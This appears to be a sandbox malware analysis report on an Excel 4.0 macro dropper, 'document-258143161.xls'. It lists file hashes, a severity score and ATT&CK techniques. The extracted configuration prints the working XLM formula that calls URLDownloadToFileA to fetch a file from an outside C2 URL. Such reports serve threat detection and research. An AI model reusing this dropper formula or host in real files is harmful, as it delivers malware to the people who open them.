Overview

overview

10

Static

static

10

document-2...61.xls

windows7_x64

10

document-2...61.xls

windows10_x64

10

Sharing

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General

  • Target

    document-258143161.xls

  • Size

    39KB

  • Sample

    210304-ngtfbcwr8n

  • MD5

    8322af5fe7ecefd0fe1d00cb48460fa5

  • SHA1

    053ccfe71374f39fc33bb33dedd083332fbd5243

  • SHA256

    e169b78da767abaaadab008e86aa27cd58f9da1755970520114fcf7656608a60

  • SHA512

    746a5b02ba114897e759c591730fae3805bfae91b0229528b2c336ee4f6c63a8f9e26c6f2b8a5899f35320c46a2d57a05f578e776ce640e8f64103a70f42ed7a

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://ttj10qrrqx03kdts.com/inda.xls

Attributes
  • formulas

    =CALL("URLMon","URLDownloadToFileA","JJCCBB",0,"http://ttj10qrrqx03kdts.com/inda.xls","..\fkruf.djr",0)

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://ttj10qrrqx03kdts.com/inda.xls

Targets

    • Target

      document-258143161.xls

    • Size

      39KB

    • MD5

      8322af5fe7ecefd0fe1d00cb48460fa5

    • SHA1

      053ccfe71374f39fc33bb33dedd083332fbd5243

    • SHA256

      e169b78da767abaaadab008e86aa27cd58f9da1755970520114fcf7656608a60

    • SHA512

      746a5b02ba114897e759c591730fae3805bfae91b0229528b2c336ee4f6c63a8f9e26c6f2b8a5899f35320c46a2d57a05f578e776ce640e8f64103a70f42ed7a

    Score
    10/10

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks